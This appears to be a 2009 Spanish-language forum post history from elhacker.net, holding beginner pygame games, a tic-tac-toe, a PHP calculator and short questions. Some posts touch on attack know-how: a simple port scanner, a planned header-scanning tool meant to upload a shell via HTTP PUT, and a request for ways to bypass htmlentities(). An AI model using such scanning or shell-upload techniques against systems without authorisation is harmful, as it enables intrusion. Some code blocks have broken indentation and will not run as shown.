Cuando lo ejecuto (le he dado todos los permisos necesarios y eso) no hace nada.
Creo que lo he hecho bien, alguien sabe cuál es el problema?
Gracias
#21
Pues ese es el nuevo juego que he hecho :

Se trata de que Paris Hilton no consiga el dinero, lo vas manejando con el raton, he aquí el code :
Código (python) [Seleccionar]

import pygame,random
from pygame.locals import *
pygame.init()
pygame.font.init()
fuente = pygame.font.SysFont("Courier New",15,True,True)
class jugador(pygame.sprite.Sprite):
   def __init__(self):
       pygame.sprite.Sprite.__init__(self)
       self.ficha = pygame.image.load('imagen.jpg')
       self.rect = self.ficha.get_rect()
       self.rect.x,self.rect.y =pygame.mouse.get_pos()
   def update(self):
       global screen
       self.rect.x,self.rect.y =pygame.mouse.get_pos()
       screen.blit(self.ficha,(self.rect.x,self.rect.y))
class contrincante(pygame.sprite.Sprite):
   def __init__(self):
       pygame.sprite.Sprite.__init__(self)
       self.ficha = pygame.image.load("parishilton.jpg")
       self.rect = self.ficha.get_rect()
       self.rect.x,self.rect.y = random.randint(0,500),random.randint(0,326)
   def update(self):
       global gamer
       global screen
       if self.rect.x >gamer.rect.x : self.rect.x-=1
       if self.rect.x < gamer.rect.x : self.rect.x+=1
       if self.rect.y > gamer.rect.y : self.rect.y-=1
       if self.rect.y < gamer.rect.y : self.rect.y+=1
       screen.blit(self.ficha,(self.rect.x,self.rect.y))
screen = pygame.display.set_mode((500,326))
fondo = pygame.image.load("mansion.jpg")
pygame.display.set_caption("Llevate el dinero de la Hilton")
running = 1
gamer = jugador()
grupodehiltons = pygame.sprite.Group()
listahiltons = []
for i in range(3):
   listahiltons.append(contrincante())
for contrincantne in listahiltons:
   grupodehiltons.add(contrincantne)
pygame.mouse.set_visible(False)
reloj = pygame.time.Clock()
milisegundos = 0
while running:
   milisegundos += reloj.tick()
   for event in pygame.event.get():
       if event.type == QUIT:
           exit()
   if len(pygame.sprite.spritecollide(gamer,grupodehiltons,False))>0:
       perdiste = 1
       letras = fuente.render("Has durado "+str(milisegundos)+" miliegundos",True,(255,0,0))
       screen.blit(letras,(150,180))
       milisegundos=0
       pygame.display.flip()
       while perdiste :
           for evento in pygame.event.get():
               if evento.type == pygame.QUIT:
                   exit()
               if evento.type == pygame.MOUSEBUTTONDOWN:
                   perdiste = 0
   screen.blit(fondo,(0,0))
   gamer.update()
   grupodehiltons.update()
   pygame.display.flip()
   pygame.time.wait(5)
   

Se puede descargar desde aquí
#22
Scripting / Mi juego hecho en pygame.
2 Julio 2009, 18:56 PM
Antes de nada, si quieren probarlo necesitarán el módulo de pygame.
Podrán encontrarlo aquí.
Pues he programado este juego cuyo objetivo es llegar a la meta, que es el rectángulo blanco sin tocar los cuadrados negros.
Código (python) [Seleccionar]

#!/usr/bin/python
import pygame,random
from pygame.locals import *

pygame.init()
pygame.font.init()
font = pygame.font.SysFont("Courier New",15)
partidasperdidas,partidasganadas = 0,0
class pelota (pygame.sprite.Sprite):
  def __init__(self,Screen):
pygame.sprite.Sprite.__init__(self)
self.Screen = Screen
self.image = pygame.image.load('pelota.png').convert_alpha()
self.rect = self.image.get_rect()
self.rect.x = 300
self.rect.y = 100
  def update(self):
                self.rect.x,self.rect.y = pygame.mouse.get_pos()
self.Screen.blit(self.image,(self.rect.x-2,self.rect.y-2))
class pared(pygame.sprite.Sprite):
    def __init__(self,linea,larguez=20,estatica=0,color=(0,0,0)):
        pygame.sprite.Sprite.__init__(self)
        self.image = pygame.Surface([larguez,20])
        self.image.fill(color)
        self.rect = self.image.get_rect()
        self.rect.x = 0
        self.rect.y = linea
        self.estatica = estatica
    def update(self):
        global screen
        if self.estatica!=0:
          screen.blit(self.image,(self.rect.x,self.rect.y))
          return 0
        lado = random.randint(1,2)
        if lado==1:
          self.rect.x +=10
        if lado==2: self.rect.x-=10
        if self.rect.x >=600:
          self.rect.x = 0
        if self.rect.y >=200: self.rect.y =0
        if self.rect.x <= 0 : self.rect.x =600
        if self.rect.y <=0 : self.rect.y==200
        screen.blit(self.image,(self.rect.x,self.rect.y))

       
screen = pygame.display.set_mode((600,200))
pygame.display.set_caption("El mejor juego de la historia")
imagen = pygame.image.load('fondo.jpg')
Ball = pelota(screen)
listacajas = []
for number in range(30,180,30):
  listacajas.append(pared(number))
grupo = pygame.sprite.Group()
for caja in listacajas:
  grupo.add(caja)
Meta = pared(0,600,1,(255,255,255))

grupofinal = pygame.sprite.Group()
grupofinal.add(Meta)
running = 1
pygame.mouse.set_pos(300,199)
while running:
  pygame.mouse.set_visible(False)
  screen.blit(imagen,(0,0))
  for event in pygame.event.get():
     if event.type == pygame.QUIT:
        running = 0
        break
  grupofinal.update()
  grupo.update()
  Ball.update()
  if len(pygame.sprite.spritecollide(Ball,grupo,0))>0:
         partidasperdidas+=1
         pygame.mouse.set_pos(300,199)
  elif len(pygame.sprite.spritecollide(Ball,grupofinal,0))>0:
    click = 1
    partidasganadas+=1
    lasletrasqueganan = font.render("Ganaste "+str(partidasganadas)+" veces y perdiste "+str(partidasperdidas)+" veces",True,(0,0,0))
    while click:
      for event in pygame.event.get():
        if event.type == pygame.MOUSEBUTTONDOWN:
          click = 0
        if event.type == pygame.QUIT:
          exit()
      screen.blit(lasletrasqueganan,(200,100))
      pygame.display.update()
    pygame.mouse.set_pos(300,199)
  pygame.display.flip()
 
     

Espero que os guste u os ayude.
Aquí el juego subido : http://www.megaupload.com/?d=ENXBAKFN
#23
PHP / [?]Para que sirve eval()?
25 Junio 2009, 23:54 PM
Pues esa es mi duda, mas que util la verdad es que me parece una vulnerabilidad para un programador descuidado.
Porque ejecutar una sentencia desde eval y no desde el código normal?
Gracias
#24
Diseño Gráfico / Mis primeros diseños
24 Junio 2009, 20:45 PM
Pues como acabo de instalar Ubuntu 9.04 en una máquina sin internet y no sabia que hacer , me entretuve jugando con el gimp.
Estos son mis diseños :

Firma

Otro desktop

Y otro desktop

Espero que os gusten.
#25
Hola, a todo el mundo que le guste python le invito a participar en mi proyecto de software libre que se trata de un script que examina las cabeceras http de un sitio web y genera un informe y si puede explotar de alguna forma explotará (por ejemplo , subir una shell con el metodo put). Contará con GUI desarrollada con Tkinter esto es lo que llevo de code :
Código (python) [Seleccionar]

import socket,string
from Tkinter import *




class miventana :
  def buscarcadena(self,cadena,cabeceraabuscar):
   longitudc = len(cadena)
   otronumero=0
   lista = []
   longutdcab=len("\n")
   numero=0
   while  numero <=  longitudc-longutdcab:
      if cadena[numero:numero+longutdcab]=="\n":
           lista.append(numero)
           otronumero+=1
      else:
           pass
      numero+=1
   numero = 0
   for numero in range(len(lista)-1):
       if cadena[lista[numero]:lista[numero+1]].find(cabeceraabuscar)!=-1:
         return cadena[lista[numero]:lista[numero+1]]
   return -1
  def __init__ (self):
    #Se declara la ventana
    self.ventana = Tk()
    self.ventana.minsize(400,100)
    self.ventana.title("PyHttp Explorer")
#Variable del textbox
    self.host = StringVar()
#Se declaran los controles
    self.label = Label(self.ventana,text = "Host : ")
    self.textbox = Entry(self.ventana,textvariable=self.host)
    self.boton = Button(self.ventana,text="Conectar",command = self.conectar)
#Aqui se va poniendo los controles en las ventanas
    self.label.grid(row=0,column=0)
    self.textbox.grid(row=0,column=15)
    self.boton.grid(row=1,column=15)
  def conectar(self):
    socket1 = socket.socket()
    socket1.connect((self.host.get(),80))
    socket1.send("OPTIONS / HTTP/1.0\r\n\r\nHost :"+self.host.get()+"\r\n\r\n")
    self.textorecibido=socket1.recv(4096)
    self.allow=self.buscarcadena(self.textorecibido,"Allow")
    if self.allow!=-1:
      self.lalabel = Label(self.ventana,text=self.allow)
      self.lalabel.grid(row=3,column=10)
    else :
  self.lalabel = Label(self.ventana,text="No se encontro la cabecera Allow")
  self.lalabel.grid(row=3,column=10)
    self.server = self.buscarcadena(self.textorecibido,"Server")
    if self.server!=-1:
  self.serverlabel = Label(self.ventana,text = self.server)
  self.serverlabel.grid(row=4,column =10)
    else :
  self.serverlabel = Label(self.ventana,text = "No se encontro la cabecera server")
  self.serverlabel.grid(row=4,column=10)



  def principal(self):
    self.ventana.mainloop()
ventana = miventana()
ventana.principal()


Este code tiene muchos bugs que debo arreglar pero es una version "pre alpha"
Quien quiera participar que me mande un mp. :)
#26
He hecho este code para comprobar si hay actualizaciones en elhacker.net, es para windows, pero se puede adaptar a linux con cambiar una sola linea.
Código (python) [Seleccionar]
import urllib2,os
def obtenercode():
  web = urllib2.urlopen("http://elhacker.net")
  code=web.read()
  return code
try:
archivo=open("ultimapagina.html","rw")
archivodos=open("nuevo.txt","w")
archivodos.write(obtenercode())
archivodos.close()
archivodos = open("nuevo.txt","r")
if  archivodos.readlines()==archivo.readlines():
   archivodos.close()
   os.system("del /f nuevo.txt")
   print "No ha habido ninguna actualizacion"
   raw_input()
else :
   print "Hay alguna actualizacion"
   archivo.write(obtenercode())
   raw_input()
   exit(0)
except :
print "No existe la pagina ultimapagina.html, asi que se guardara la pagina"
archivo = open("ultimapagina.html","w")
archivo.write(obtenercode())
print "Fichero guardado. Adios"
archivo.close()
exit(0)

-Saludos.
#27
Sugerencias y dudas sobre el Foro / spam en mp
25 Abril 2009, 22:46 PM
Hola, escribo para preguntar, si es que hay algun tipo de filtro antispam en los mensajes privados.
Es que me mandaron una direccion de correo que decias
:
nombre@SPAM(51)
Alguien sabe algo?
#28
Scripting / [Python]Simple port scanner
19 Abril 2009, 19:13 PM
Como dice el título he hecho un port scanner.
No es nada bueno, solo te dice si un puerto esta abierto o cerrado ademas de ser muy lento, aqui esta el code :
Código (python) [Seleccionar]

################################
# Escaner de puertos en python #
########## braulio23 ###########
###### foro.elhacker.net #######
################################
import socket
print "Escaner de puertos by braulio23\n"
raw_input()
host = raw_input("Indica el host : ")
numerouno = raw_input("Primer numero del rango : ")
numerodos = raw_input("Segundo numero del rango : ")
socket = socket.socket()
for puerto in range(int(numerouno),int(numerodos)):
    try:
        socket.connect((host,puerto))
        print "Puerto "+str(puerto)+" abierto"
        socket.close()

    except :
        print "Puerto "+str(puerto)+" cerrado."
raw_input()
   
#29
PHP / Calculadora en php orientada a objetos.
19 Abril 2009, 17:15 PM
Miren el code de la calculadora que acabo de hacer en php orientado a objetos.
Código (php) [Seleccionar]

<head><title>Calculadora en php orientada a objetos</title></head><body>
<h1>Calculadora en php orientado a objetos</h1>
<?
Class calculadora {
function calculadora ( $numero1 , $numero2 ) {
$this->numerouno = htmlentities($numero1,ENT_QUOTES) ;
$this ->numerodos = htmlentities($numero2,ENT_QUOTES);
return 0;
}
function suma(){
$resultado = $this->numerouno + $this->numerodos;
echo "$this->numerouno + $this->numerodos es igual a $resultado <br>";
return 0;
}
function resta(){
$resultado = $this->numerouno - $this->numerodos;
echo "$this->numerouno - $this->numerodos es igual a $resultado <br>";
return 0;
}
function multiplica(){
$resultado = $this->numerouno * $this->numerodos;
echo "$this->numerouno x $this->numerodos es igual $resultado <br>";
return 0;
}
function divide()
{
if ( $this->numerodos==0)
{
echo "No se puede dividir entre cero";
return 1;
}
else
{
$resultado = $this->numerouno / $this->numerodos;
echo "$this->numerouno entre $this->numerodos es igual a $resultado <br> " ;
return 0;
}
}
}
$numerouno = $_POST['numerouno'];
$numerodos = $_POST['numerodos'];
if (isset($numerouno) AND isset($numerodos))
{
$objeto = new calculadora($numerouno,$numerodos);
$objeto->suma();
$objeto->resta();
$objeto->multiplica();
$objeto->divide();
}
?>
<form action=index.php method=POST>
Primer numero : <input type=text name=numerouno><br>
Segundo numero : <input type=text name=numerodos><br><input type=submit>
</form></body>

Le vendrá bien a la gente que este aprendiendo este paradigma de la programacion en este lenguaje.
El htmlentities lo he puesto por si acaso.
Si no tienen ganas de ponerlo en su server la he puesto aqui:
http://ab.onlinewebshop.net/index.php
#30
Nivel Web / [?]Bypass de htmlentities()[/?]
12 Abril 2009, 21:24 PM
Hola, escribo este post para ver si alguien conoce una forma de bypass del filtro htmlentities().
No me acuerdo donde lei que había una forma que era cambiando la codificacion de utf-8 a utf-7 o algo así.
Si alguien conoce alguna forma de pasarlo que lo posteará aqui porfavor.
#31
Scripting / [Python]3 en raya y mini proyecto.
11 Abril 2009, 20:47 PM
He hecho un 3 en raya en python. Es para windows, pero para linux solo hay que cambiar "cls" por "clear".Es para humano vs ordenador.
El ordenador pone las fichas aleatoriamente.
Código (python) [Seleccionar]

##--------> Proyecto 3 en raya para python <--------##
#--------->           braulio23            <--------##
import os,random
longitud = "0"
latitud = "0"
combinacion=["xxx","ooo"]

fichas = [[" "," "," "],[" "," "," "],[" "," "," "]]
def printtablero():
    os.system("cls")
    for i in range(7):
        print " "
       
    print "                        "+fichas[0][0]+"    |    "+fichas[0][1]+"    |    "+fichas[0][2]
    print "                        -----+---------+------"
    print "                        "+fichas[1][0]+"    |    "+fichas[1][1]+"    |    "+fichas[1][2]
    print "                        -----+---------+------"
    print "                        "+fichas[2][0]+"    |    "+fichas[2][1]+"    |    "+fichas[2][2]
    for i in range(5):
        print ""
    return 0
def ponerficha(estilo,longitud,latitud,quien=0):
    if longitud>3 or latitud>3:
        print "Numero no permitido"
        raw_input()
        return 1
    if fichas[longitud][latitud]==" ":
        fichas[longitud][latitud] = estilo
        return 0
    else :
        if quien==0:
            printtablero()
            print "Esa casilla ya esta ocupada"
            raw_input()
            return 1
        else :
            return 1
def asignar(quien=0):
    global longitud
    global latitud
    if quien==0:
       
        longitud=raw_input("Coordenada X : ")
        latitud=raw_input("Coordenada Y : ")
    else :
        longitud = random.randint(0,2)
        latitud = random.randint(0,2)
       

    return 0
def comprobar(quien=0):
   
        if fichas[0][0]+fichas[0][1]+fichas[0][2]==combinacion[quien]:
            alertar(quien)
        elif fichas[0][0]+fichas[1][0]+fichas[2][0]==combinacion[quien]:
            alertar(quien)
        elif fichas[0][0]+fichas[1][1]+fichas[2][2]==combinacion[quien]:
            alertar(quien)
        elif fichas[1][0]+fichas[1][1]+fichas[1][2]==combinacion[quien]:
            alertar(quien)
        elif fichas[2][0]+fichas[1][1]+fichas[0][2]==combinacion[quien]:
            alertar(quien)
        elif fichas[0][1]+fichas[1][1]+fichas[2][1]==combinacion[quien]:
            alertar(quien)
        elif fichas[0][2]+fichas[1][2]+fichas[2][2]==combinacion[quien]:
            alertar(quien)
        return 0
def alertar(quien):
    if quien==0:
        print "Estupendo !!! Has ganado!!!!"
        raw_input()
       
    else :
        print "Muy mal !!! Has perdido !!!"
        raw_input()
    exit(1)   
       
   
   
   
while 1:
   
  printtablero()
  asignar()
  while ponerficha("x",int(longitud)-1,int(latitud)-1)==1:
      printtablero()
      asignar()   
  printtablero()
  comprobar()
  raw_input()
  asignar(1)
 
  while ponerficha("o",int(longitud),int(latitud),1)==1:
      asignar(1)
  comprobar(1)   
     
 


El miniproyecto es para aprender y se puede unir todo el mundo que quiera, se trata de hacer el juego online.
Quien quiera participar me mande un mp.